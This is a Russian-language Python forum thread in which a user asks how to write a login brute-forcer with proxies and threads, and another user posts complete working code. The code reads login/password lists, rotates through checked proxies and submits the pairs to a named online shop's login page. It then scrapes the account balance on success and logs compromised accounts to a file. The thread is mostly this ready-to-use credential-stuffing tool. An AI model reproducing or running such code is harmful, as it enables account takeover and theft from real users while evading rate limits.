Найти - Пользователи
Полная версия: Как сделать брутфорс?
Начало » Web » Как сделать брутфорс?
1
exeplor
Здравствуйте! Несколько дней рассматриваю примеры по брутфорсу, и возникло несколько вопросов, буду благодарен за помощь.

Какой библиотекой лучше пользоваться? (urllib или urllib2), ну и собственно какая между ними разница?
Как можно загрузить сайт через прокси? :
page = urllib.urlopen('http://site.com/index.php?, data).read()
page- прямая загрузка страницы, а через прокси…

Ну и последний вопрос о многопоточности. На сколько я понял, многопоточность - это посылка 20 запросов на php и ожидание их обработки сервером, т.е. в цикле, где есть код который посылает и ожидает приема информации, надо поместить цикл в цикле который будет отсылать 20 запросов за один раз? Это всего лишь предположения.

Только ничего не подумайте :) Для общего развития, такие знание не помешают.
AlexAled
многопоточность - это посылка 20 запросов на php и ожидание их обработки сервером

многопоточность понятие по шире :)))

1. не понятно при чем здесь многопоточность
2. Насколько я помню параметры прокси прописывать не нужно
exeplor
AlexAled
многопоточность - это посылка 20 запросов на php и ожидание их обработки сервером

многопоточность понятие по шире :)))

1. не понятно при чем здесь многопоточность
2. Насколько я помню параметры прокси прописывать не нужно
Чуть выше сообщение о многопоточности, вот это я и имел ввиду.

Это послыка N`ного количества запросов и принятия их одновременно, потому что ожидание пока придет один ответ от сервера займет достаточно много времени, а это уже, извените, не брутфорс. Мало того, для каждого потока должен быть свой прокси адрес.

Вот пример такого: http://forum.k0d.cc/showthread.php?t=2897&page=1 . Но к сожалению я не могу и не буду разбирать чей то код, хочу сделать все с нуля, что бы было полностью понятно…
Андрей Светлов
Правильно, это очень по нашему. Чукча не читатель - чукча писатель!
Задолбаем форум сотнями вопросов, но не прочитаем ни строчки чужого кода!
А чо, пущай разжевывают что к чему - нас повеселят и сами разомнутся!
exeplor
Андрей Светлов
Правильно, это очень по нашему. Чукча не читатель - чукча писатель!
Задолбаем форум сотнями вопросов, но не прочитаем ни строчки чужого кода!
А чо, пущай разжевывают что к чему - нас повеселят и сами разомнутся!
Не против?

В том коде написано такое, чего я еще и не знаю. Но знаю одно, есть методы легче, понятней.
zheromo
Рабочий пример для нерабочего сайта :)

import re
import sys
import urllib
import urllib2

from Queue import Queue
from threading import Thread

proxy_q = Queue()
proxy_g = Queue()
login_q = Queue()

PROXY_USE = 5

# http://rock3d.cc/index/login/
# user_name
# user_password

balance_re = re.compile(r'Your balance</span><span id="cart_block_total" class="price">\$\d*\,\d*<br />\$(\d*\,\d*)</span>"', re.UNICODE)
fail_str = "You have enter incorrect combination of login and password."


class TestPassword(Thread):
def run(self):
while not login_q.empty():
login, password = login_q.get()
used, proxy = proxy_g.get()

def analyse(data):
if fail_str in data:
print '.',
else:
# print data
res = re.compile(r'\$(\d+\,\d+)').findall(data)
balance = res[1] if res else '?'
print '*', login, password, balance,
open('out5.txt','a').write('%s\t%s\t%s\n' % (login, password, balance,))

# check
data = urllib.urlencode(dict(user_name=login,user_password=password))
proxy_handler = urllib2.ProxyHandler({'http': 'http://%s/' % proxy})
opener = urllib2.build_opener(proxy_handler)
try:
data = opener.open('http://rock3d.cc/index/login/', data=data).read()
except:
print 'E',
login_q.put((login, password,))
else:
analyse(data)
used += 1
if used<PROXY_USE:
proxy_g.put((used,proxy,))


class TestProxy(Thread):
def run(self):
while not proxy_q.empty():
proxy = proxy_q.get()
proxy_handler = urllib2.ProxyHandler({'http': 'http://%s/' % proxy})
opener = urllib2.build_opener(proxy_handler)
try:
opener.open('http://ya.ru').read()
except:
print '.',
else:
print "P", # proxy,
proxy_g.put((0,proxy,))


print 'loading password list...',
data = open(sys.argv[1])
while True:
line = data.readline()
if not line:
break
try:
login, password = line.split()
except:
pass
else:
login_q.put((login, password,))
data.close()
print 'ok'

print 'loading proxy list...',
for p in open(sys.argv[2]):
proxy_q.put(p[:-1])
print 'ok'

print 'Start proxy checkers...'
for x in xrange(16):
TestProxy().start()
print '.',
print 'ok'

print 'Start password checkers...'
for x in xrange(8):
TestPassword().start()
print '.',
print 'ok'
Питон
я не помню где то слышал что сейчас устанавливают количество попыток ввода логина и пароля, и после того как они кончаются… дальше забыл
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Powered by DjangoBB